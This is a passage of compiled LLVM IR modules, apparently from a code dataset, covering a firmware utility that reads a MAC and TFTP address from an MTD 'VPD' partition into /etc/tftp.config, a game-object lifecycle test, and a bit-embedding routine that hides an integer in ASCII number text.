label %62, label %70 62: ; preds = %57 %63 = getelementptr inbounds [64 x i8], ptr %15, i64 0, i64 0 %64 = call ptr @strstr(ptr noundef %63, ptr noundef @.str.3) %65 = icmp ne ptr %64, null br i1 %65, label %66, label %67 66: ; preds = %62 store i32 1, ptr %8, align 4 br label %70 67: ; preds = %62 %68 = load i32, ptr %7, align 4 %69 = add nsw i32 %68, 1 store i32 %69, ptr %7, align 4 br label %57, !llvm.loop !8 70: ; preds = %66, %57 %71 = load ptr, ptr %12, align 8 %72 = call i32 @fclose(ptr noundef %71) %73 = load i32, ptr %6, align 4 %74 = call i32 @close(i32 noundef %73) br label %75 75: ; preds = %70, %47 %76 = load i32, ptr %8, align 4 %77 = icmp ne i32 %76, 0 br i1 %77, label %79, label %78 78: ; preds = %75 store i32 -1, ptr %3, align 4 br label %146 79: ; preds = %75 %80 = getelementptr inbounds [64 x i8], ptr %11, i64 0, i64 0 %81 = load i32, ptr %7, align 4 %82 = call i32 @snprintf(ptr noundef %80, i32 noundef 64, ptr noundef @.str.4, i32 noundef %81) %83 = load i32, ptr %14, align 4 switch i32 %83, label %144 [ i32 116, label %84 ] 84: ; preds = %79 %85 = getelementptr inbounds [64 x i8], ptr %11, i64 0, i64 0 %86 = load i32, ptr @O_RDONLY, align 4 %87 = call i32 @open(ptr noundef %85, i32 noundef %86) store i32 %87, ptr %6, align 4 %88 = icmp slt i32 %87, 0 br i1 %88, label %89, label %90 89: ; preds = %84 store i32 -1, ptr %3, align 4 br label %146 90: ; preds = %84 %91 = load i32, ptr %6, align 4 %92 = load i32, ptr @SEEK_SET, align 4 %93 = call i32 @lseek(i32 noundef %91, i32 noundef 11, i32 noundef %92) %94 = load i32, ptr %6, align 4 %95 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 0 %96 = call i32 @read(i32 noundef %94, ptr noundef %95, i32 noundef 6) %97 = icmp ne i32 %96, 6 br i1 %97, label %98, label %101 98: ; preds = %90 %99 = load i32, ptr %6, align 4 %100 = call i32 @close(i32 noundef %99) store i32 -1, ptr %3, align 4 br label %146 101: ; preds = %90 %102 = load i32, ptr %6, align 4 %103 = load i32, ptr @SEEK_SET, align 4 %104 = call i32 @lseek(i32 noundef %102, i32 noundef 12288, i32 noundef %103) %105 = load i32, ptr %6, align 4 %106 = getelementptr inbounds [4 x i8], ptr %9, i64 0, i64 0 %107 = call i32 @read(i32 noundef %105, ptr noundef %106, i32 noundef 4) %108 = icmp ne i32 %107, 4 br i1 %108, label %109, label %112 109: ; preds = %101 %110 = load i32, ptr %6, align 4 %111 = call i32 @close(i32 noundef %110) store i32 -1, ptr %3, align 4 br label %146 112: ; preds = %101 %113 = load i32, ptr %6, align 4 %114 = call i32 @close(i32 noundef %113) %115 = call ptr @fopen(ptr noundef @.str.5, ptr noundef @.str.6) store ptr %115, ptr %12, align 8 %116 = load ptr, ptr %12, align 8 %117 = getelementptr inbounds [4 x i8], ptr %9, i64 0, i64 0 %118 = load i8, ptr %117, align 1 %119 = getelementptr inbounds [4 x i8], ptr %9, i64 0, i64 1 %120 = load i8, ptr %119, align 1 %121 = getelementptr inbounds [4 x i8], ptr %9, i64 0, i64 2 %122 = load i8, ptr %121, align 1 %123 = getelementptr inbounds [4 x i8], ptr %9, i64 0, i64 3 %124 = load i8, ptr %123, align 1 %125 = call i32 (ptr, ptr, i8, i8, i8, i8, ...) @fprintf(ptr noundef %116, ptr noundef @.str.7, i8 noundef signext %118, i8 noundef signext %120, i8 noundef signext %122, i8 noundef signext %124) %126 = load ptr, ptr %12, align 8 %127 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 0 %128 = load i8, ptr %127, align 1 %129 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 1 %130 = load i8, ptr %129, align 1 %131 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 2 %132 = load i8, ptr %131, align 1 %133 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 3 %134 = load i8, ptr %133, align 1 %135 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 4 %136 = load i8, ptr %135, align 1 %137 = sext i8 %136 to i32 %138 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 5 %139 = load i8, ptr %138, align 1 %140 = sext i8 %139 to i32 %141 = call i32 (ptr, ptr, i8, i8, i8, i8, ...) @fprintf(ptr noundef %126, ptr noundef @.str.8, i8 noundef signext %128, i8 noundef signext %130, i8 noundef signext %132, i8 noundef signext %134, i32 noundef %137, i32 noundef %140) %142 = load ptr, ptr %12, align 8 %143 = call i32 @fclose(ptr noundef %142) br label %145 144: ; preds = %79 br label %145 145: ; preds = %144, %112 store i32 0, ptr %3, align 4 br label %146 146: ; preds = %145, %109, %98, %89, %78 %147 = load i32, ptr %3, align 4 ret i32 %147 } declare i32 @print_help(ptr noundef) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 declare i32 @getopt(i32 noundef, ptr noundef, ptr noundef) #1 declare i32 @open(ptr noundef, i32 noundef) #1 declare ptr @fdopen(i32 noundef, ptr noundef) #1 declare ptr @fgets(ptr noundef, i32 noundef, ptr noundef) #1 declare ptr @strstr(ptr noundef, ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 declare i32 @close(i32 noundef) #1 declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, i32 noundef) #1 declare i32 @lseek(i32 noundef, i32 noundef, i32 noundef) #1 declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1 declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @fprintf(ptr noundef, ptr noundef, i8 noundef signext, i8 noundef signext, i8 noundef signext, i8 noundef signext, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpo5ahg9fg.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"ht\00", align 1 @.str.1 = private unnamed_addr constant [10 x i8] c"/proc/mtd\00", align 1 @O_RDONLY = dso_local global i32 0, align 4 @.str.2 = private unnamed_addr constant [2 x i8] c"r\00", align 1 @.str.3 = private unnamed_addr constant [5 x i8] c" VPD\00", align 1 @.str.4 = private unnamed_addr constant [11 x i8] c"/dev/mtd%d\00", align 1 @SEEK_SET = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [17 x i8] c"/etc/tftp.config\00", align 1 @.str.6 = private unnamed_addr constant [2 x i8] c"w\00", align 1 @.str.7 = private unnamed_addr constant [18 x i8] c"TFTP=%d.%d.%d.%d\0A\00", align 1 @.str.8 = private unnamed_addr constant [41 x i8] c"MAC=%2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @vpdread_main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca [4 x i8], align 1 %10 = alloca [6 x i8], align 1 %11 = alloca [64 x i8], align 16 %12 = alloca ptr, align 8 %13 = alloca i32, align 4 %14 = alloca i32, align 4 %15 = alloca [64 x i8], align 16 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 store i32 0, ptr %7, align 4 store i32 0, ptr %8, align 4 store i32 -1, ptr %14, align 4 %16 = load i32, ptr %4, align 4 %17 = icmp eq i32 %16, 1 br i1 %17, label %18, label %24 18: ; preds = %2 %19 = load ptr, ptr %5, align 8 %20 = getelementptr inbounds ptr, ptr %19, i64 0 %21 = load ptr, ptr %20, align 8 %22 = call i32 @print_help(ptr noundef %21) %23 = call i32 @exit(i32 noundef 1) #3 unreachable 24: ; preds = %2 %25 = load i32, ptr %4, align 4 %26 = load ptr, ptr %5, align 8 %27 = call i32 @getopt(i32 noundef %25, ptr noundef %26, ptr noundef @.str) store i32 %27, ptr %13, align 4 %28 = icmp ne i32 %27, -1 br i1 %28, label %.lr.ph, label %50 .lr.ph: ; preds = %24 br label %29 29: ; preds = %.lr.ph, %45 %30 = load i32, ptr %13, align 4 switch i32 %30, label %39 [ i32 104, label %31 i32 116, label %37 ] 31: ; preds = %29 %32 = load ptr, ptr %5, align 8 %33 = getelementptr inbounds ptr, ptr %32, i64 0 %34 = load ptr, ptr %33, align 8 %35 = call i32 @print_help(ptr noundef %34) %36 = call i32 @exit(i32 noundef 0) #3 unreachable 37: ; preds = %29 %38 = load i32, ptr %13, align 4 store i32 %38, ptr %14, align 4 br label %45 39: ; preds = %29 %40 = load ptr, ptr %5, align 8 %41 = getelementptr inbounds ptr, ptr %40, i64 0 %42 = load ptr, ptr %41, align 8 %43 = call i32 @print_help(ptr noundef %42) %44 = call i32 @exit(i32 noundef 1) #3 unreachable 45: ; preds = %37 %46 = load i32, ptr %4, align 4 %47 = load ptr, ptr %5, align 8 %48 = call i32 @getopt(i32 noundef %46, ptr noundef %47, ptr noundef @.str) store i32 %48, ptr %13, align 4 %49 = icmp ne i32 %48, -1 br i1 %49, label %29, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %45 br label %50 50: ; preds = %._crit_edge, %24 %51 = load i32, ptr @O_RDONLY, align 4 %52 = call i32 @open(ptr noundef @.str.1, i32 noundef %51) store i32 %52, ptr %6, align 4 %53 = icmp sgt i32 %52, 0 br i1 %53, label %54, label %80 54: ; preds = %50 %55 = load i32, ptr %6, align 4 %56 = call ptr @fdopen(i32 noundef %55, ptr noundef @.str.2) store ptr %56, ptr %12, align 8 %57 = getelementptr inbounds [64 x i8], ptr %15, i64 0, i64 0 %58 = load ptr, ptr %12, align 8 %59 = call ptr @fgets(ptr noundef %57, i32 noundef 64, ptr noundef %58) %60 = getelementptr inbounds [64 x i8], ptr %15, i64 0, i64 0 %61 = load ptr, ptr %12, align 8 %62 = call ptr @fgets(ptr noundef %60, i32 noundef 64, ptr noundef %61) %63 = icmp ne ptr %62, null br i1 %63, label %.lr.ph2, label %.loopexit .lr.ph2: ; preds = %54 br label %64 64: ; preds = %.lr.ph2, %69 %65 = getelementptr inbounds [64 x i8], ptr %15, i64 0, i64 0 %66 = call ptr @strstr(ptr noundef %65, ptr noundef @.str.3) %67 = icmp ne ptr %66, null br i1 %67, label %68, label %69 68: ; preds = %64 store i32 1, ptr %8, align 4 br label %75 69: ; preds = %64 %70 = load i32, ptr %7, align 4 %71 = add nsw i32 %70, 1 store i32 %71, ptr %7, align 4 %72 = load ptr, ptr %12, align 8 %73 = call ptr @fgets(ptr noundef %60, i32 noundef 64, ptr noundef %72) %74 = icmp ne ptr %73, null br i1 %74, label %64, label %..loopexit_crit_edge, !llvm.loop !8 ..loopexit_crit_edge: ; preds = %69 br label %.loopexit .loopexit: ; preds = %..loopexit_crit_edge, %54 br label %75 75: ; preds = %.loopexit, %68 %76 = load ptr, ptr %12, align 8 %77 = call i32 @fclose(ptr noundef %76) %78 = load i32, ptr %6, align 4 %79 = call i32 @close(i32 noundef %78) br label %80 80: ; preds = %75, %50 %81 = load i32, ptr %8, align 4 %82 = icmp ne i32 %81, 0 br i1 %82, label %84, label %83 83: ; preds = %80 store i32 -1, ptr %3, align 4 br label %151 84: ; preds = %80 %85 = getelementptr inbounds [64 x i8], ptr %11, i64 0, i64 0 %86 = load i32, ptr %7, align 4 %87 = call i32 @snprintf(ptr noundef %85, i32 noundef 64, ptr noundef @.str.4, i32 noundef %86) %88 = load i32, ptr %14, align 4 switch i32 %88, label %149 [ i32 116, label %89 ] 89: ; preds = %84 %90 = getelementptr inbounds [64 x i8], ptr %11, i64 0, i64 0 %91 = load i32, ptr @O_RDONLY, align 4 %92 = call i32 @open(ptr noundef %90, i32 noundef %91) store i32 %92, ptr %6, align 4 %93 = icmp slt i32 %92, 0 br i1 %93, label %94, label %95 94: ; preds = %89 store i32 -1, ptr %3, align 4 br label %151 95: ; preds = %89 %96 = load i32, ptr %6, align 4 %97 = load i32, ptr @SEEK_SET, align 4 %98 = call i32 @lseek(i32 noundef %96, i32 noundef 11, i32 noundef %97) %99 = load i32, ptr %6, align 4 %100 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 0 %101 = call i32 @read(i32 noundef %99, ptr noundef %100, i32 noundef 6) %102 = icmp ne i32 %101, 6 br i1 %102, label %103, label %106 103: ; preds = %95 %104 = load i32, ptr %6, align 4 %105 = call i32 @close(i32 noundef %104) store i32 -1, ptr %3, align 4 br label %151 106: ; preds = %95 %107 = load i32, ptr %6, align 4 %108 = load i32, ptr @SEEK_SET, align 4 %109 = call i32 @lseek(i32 noundef %107, i32 noundef 12288, i32 noundef %108) %110 = load i32, ptr %6, align 4 %111 = getelementptr inbounds [4 x i8], ptr %9, i64 0, i64 0 %112 = call i32 @read(i32 noundef %110, ptr noundef %111, i32 noundef 4) %113 = icmp ne i32 %112, 4 br i1 %113, label %114, label %117 114: ; preds = %106 %115 = load i32, ptr %6, align 4 %116 = call i32 @close(i32 noundef %115) store i32 -1, ptr %3, align 4 br label %151 117: ; preds = %106 %118 = load i32, ptr %6, align 4 %119 = call i32 @close(i32 noundef %118) %120 = call ptr @fopen(ptr noundef @.str.5, ptr noundef @.str.6) store ptr %120, ptr %12, align 8 %121 = load ptr, ptr %12, align 8 %122 = getelementptr inbounds [4 x i8], ptr %9, i64 0, i64 0 %123 = load i8, ptr %122, align 1 %124 = getelementptr inbounds [4 x i8], ptr %9, i64 0, i64 1 %125 = load i8, ptr %124, align 1 %126 = getelementptr inbounds [4 x i8], ptr %9, i64 0, i64 2 %127 = load i8, ptr %126, align 1 %128 = getelementptr inbounds [4 x i8], ptr %9, i64 0, i64 3 %129 = load i8, ptr %128, align 1 %130 = call i32 (ptr, ptr, i8, i8, i8, i8, ...) @fprintf(ptr noundef %121, ptr noundef @.str.7, i8 noundef signext %123, i8 noundef signext %125, i8 noundef signext %127, i8 noundef signext %129) %131 = load ptr, ptr %12, align 8 %132 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 0 %133 = load i8, ptr %132, align 1 %134 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 1 %135 = load i8, ptr %134, align 1 %136 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 2 %137 = load i8, ptr %136, align 1 %138 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 3 %139 = load i8, ptr %138, align 1 %140 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 4 %141 = load i8, ptr %140, align 1 %142 = sext i8 %141 to i32 %143 = getelementptr inbounds [6 x i8], ptr %10, i64 0, i64 5 %144 = load i8, ptr %143, align 1 %145 = sext i8 %144 to i32 %146 = call i32 (ptr, ptr, i8, i8, i8, i8, ...) @fprintf(ptr noundef %131, ptr noundef @.str.8, i8 noundef signext %133, i8 noundef signext %135, i8 noundef signext %137, i8 noundef signext %139, i32 noundef %142, i32 noundef %145) %147 = load ptr, ptr %12, align 8 %148 = call i32 @fclose(ptr noundef %147) br label %150 149: ; preds = %84 br label %150 150: ; preds = %149, %117 store i32 0, ptr %3, align 4 br label %151 151: ; preds = %150, %114, %103, %94, %83 %152 = load i32, ptr %3, align 4 ret i32 %152 } declare i32 @print_help(ptr noundef) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 declare i32 @getopt(i32 noundef, ptr noundef, ptr noundef) #1 declare i32 @open(ptr noundef, i32 noundef) #1 declare ptr @fdopen(i32 noundef, ptr noundef) #1 declare ptr @fgets(ptr noundef, i32 noundef, ptr noundef) #1 declare ptr @strstr(ptr noundef, ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 declare i32 @close(i32 noundef) #1 declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, i32 noundef) #1 declare i32 @lseek(i32 noundef, i32 noundef, i32 noundef) #1 declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1 declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @fprintf(ptr noundef, ptr noundef, i8 noundef signext, i8 noundef signext, i8 noundef signext, i8 noundef signext, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '/tmp/tmpo6qca03j.c' source_filename = "/tmp/tmpo6qca03j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [33 x i8] c"\0A### GAMEOBJ LIFECYCLE TEST ###\0A\00", align 1 @.str.1 = private unnamed_addr constant [19 x i8] c"Creating world...\0A\00", align 1 @.str.2 = private unnamed_addr constant [21 x i8] c"Destroying world...\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @test_gameobj() #0 { %1 = alloca ptr, align 8 %2 = call i32 @printf(ptr noundef @.str) %3 = call i32 @printf(ptr noundef @.str.1) %4 = call ptr (...) @create_world() store ptr %4, ptr %1, align 8 %5 = call i32 @printf(ptr noundef @.str.2) %6 = load ptr, ptr %1, align 8 %7 = call i32 @destroy_world(ptr noundef %6) ret i32 0 } declare i32 @printf(ptr noundef) #1 declare ptr @create_world(...) #1 declare i32 @destroy_world(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpo6qca03j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [33 x i8] c"\0A### GAMEOBJ LIFECYCLE TEST ###\0A\00", align 1 @.str.1 = private unnamed_addr constant [19 x i8] c"Creating world...\0A\00", align 1 @.str.2 = private unnamed_addr constant [21 x i8] c"Destroying world...\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @test_gameobj() #0 { %1 = alloca ptr, align 8 %2 = call i32 @printf(ptr noundef @.str) %3 = call i32 @printf(ptr noundef @.str.1) %4 = call ptr (...) @create_world() store ptr %4, ptr %1, align 8 %5 = call i32 @printf(ptr noundef @.str.2) %6 = load ptr, ptr %1, align 8 %7 = call i32 @destroy_world(ptr noundef %6) ret i32 0 } declare i32 @printf(ptr noundef) #1 declare ptr @create_world(...) #1 declare i32 @destroy_world(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp827h0w6f.c' source_filename = "/tmp/tmp827h0w6f.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"%i\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @embedInt(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i8, align 1 %11 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store i32 %1, ptr %4, align 4 store i32 31, ptr %5, align 4 br label %12 12: ; preds = %72, %2 %13 = load i32, ptr %5, align 4 %14 = icmp sge i32 %13, 0 br i1 %14, label %15, label %75 15: ; preds = %12 %16 = load i32, ptr %5, align 4 %17 = shl i32 1, %16 store i32 %17, ptr %6, align 4 %18 = load i32, ptr %4, align 4 %19 = load i32, ptr %6, align 4 %20 = and i32 %18, %19 store i32 %20, ptr %7, align 4 %21 = load i32, ptr %7, align 4 %22 = load i32, ptr %5, align 4 %23 = ashr i32 %21, %22 store i32 %23, ptr %8, align 4 %24 = load ptr, ptr %3, align 8 %25 = call i32 @atoi(ptr noundef %24) store i32 %25, ptr %9, align 4 %26 = load i32, ptr %8, align 4 %27 = icmp ne i32 %26, 0 br i1 %27, label %28, label %31 28: ; preds = %15 %29 = load i32, ptr %9, align 4 %30 = or i32 %29, 1 store i32 %30, ptr %9, align 4 br label %34 31: ; preds = %15 %32 = load i32, ptr %9, align 4 %33 = and i32 %32, 254 store i32 %33, ptr %9, align 4 br label %34 34: ; preds = %31, %28 %35 = load ptr, ptr %3, align 8 %36 = getelementptr inbounds i8, ptr %35, i64 3 %37 = load i8, ptr %36, align 1 store i8 %37, ptr %10, align 1 %38 = load ptr, ptr %3, align 8 %39 = load i32, ptr %9, align 4 %40 = call i32 @sprintf(ptr noundef %38, ptr noundef @.str, i32 noundef %39) store i32 %40, ptr %11, align 4 %41 = load i8, ptr %10, align 1 %42 = load ptr, ptr %3, align 8 %43 = load i32, ptr %11, align 4 %44 = zext i32 %43 to i64 %45 = getelementptr inbounds i8, ptr %42, i64 %44 store i8 %41, ptr %45, align 1 br label %46 46: ; preds = %58, %34 %47 = load ptr, ptr %3, align 8 %48 = load i8, ptr %47, align 1 %49 = zext i8 %48 to i32 %50 = icmp ne i32 %49, 32 br i1 %50, label %51, label %56 51: ; preds = %46 %52 = load ptr, ptr %3, align 8 %53 = load i8, ptr %52, align 1 %54 = zext i8 %53 to i32 %55 = icmp ne i32 %54, 10 br label %56 56: ; preds = %51, %46 %57 = phi i1 [ false, %46 ], [ %55, %51 ] br i1 %57, label %58, label %61 58: ; preds = %56 %59 = load ptr, ptr %3, align 8 %60 = getelementptr inbounds i8, ptr %59, i64 1 store ptr %60, ptr %3, align 8 br label %46, !llvm.loop !6 61: ; preds = %56 %62 = load ptr, ptr %3, align 8 %63 = getelementptr inbounds i8, ptr %62, i64 1 store ptr %63, ptr %3, align 8 %64 = load ptr, ptr %3, align 8 %65 = load i8, ptr %64, align 1 %66 = zext i8 %65 to i32 %67 = icmp eq i32 %66, 10 br i1 %67, label %68, label %71 68: ; preds = %61 %69 = load ptr, ptr %3, align 8 %70 = getelementptr inbounds i8, ptr %69, i64 1 store ptr %70, ptr %3, align 8 br label %71 71: ; preds = %68, %61 br label %72 72: ; preds = %71 %73 = load i32, ptr %5, align 4 %74 = add nsw i32 %73, -1 store i32 %74, ptr %5, align 4 br label %12, !llvm.loop !8 75: ; preds = %12 %76 = load ptr, ptr %3, align 8 ret ptr %76 } declare i32 @atoi(ptr noundef) #1 declare i32 @sprintf(ptr noundef, ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp827h0w6f.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"%i\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @embedInt(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i8, align 1 %11 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store i32 %1, ptr %4, align 4 store i32 31, ptr %5, align 4 %12 = load i32, ptr %5, align 4 %13 = icmp sge i32 %12, 0 br i1 %13, label %.lr.ph, label %76 .lr.ph: ; preds = %2 br label %14 14: ; preds = %.lr.ph, %71 %15 = load i32, ptr %5, align 4 %16 = shl i32 1, %15 store i32 %16, ptr %6, align 4 %17 = load i32, ptr %4, align 4 %18 = load i32, ptr %6, align 4 %19 = and i32 %17, %18 store i32 %19, ptr %7, align 4 %20 = load i32, ptr %7, align 4 %21 = load i32, ptr %5, align 4 %22 = ashr i32 %20, %21 store i32 %22, ptr %8, align 4 %23 = load ptr, ptr %3, align 8 %24 = call i32 @atoi(ptr noundef %23) store i32 %24, ptr %9, align 4 %25 = load i32, ptr %8, align 4 %26 = icmp ne i32 %25, 0 br i1 %26, label %27, label %30 27: ; preds = %14 %28 = load i32, ptr %9, align 4 %29 = or i32 %28, 1 store i32 %29, ptr %9, align 4 br label %33 30: ; preds = %14 %31 = load i32, ptr %9, align 4 %32 = and i32 %31, 254 store i32 %32, ptr %9, align 4 br label %33 33: ; preds = %30, %27 %34 = load ptr, ptr %3, align 8 %35 = getelementptr inbounds i8, ptr %34, i64 3 %36 = load i8, ptr %35, align 1 store i8 %36, ptr %10, align 1 %37 = load ptr, ptr %3, align 8 %38 = load i32, ptr %9, align 4 %39 = call i32 @sprintf(ptr noundef %37, ptr noundef @.str, i32 noundef %38) store i32 %39, ptr %11, align 4 %40 = load i8, ptr %10, align 1 %41 = load ptr, ptr %3, align 8 %42 = load i32, ptr %11, align 4 %43 = zext i32 %42 to i64 %44 = getelementptr inbounds i8, ptr %41, i64 %43 store i8 %40, ptr %44, align 1 br label %45 45: ; preds = %57, %33 %46 = load ptr, ptr %3, align 8 %47 = load i8, ptr %46, align 1 %48 = zext i8 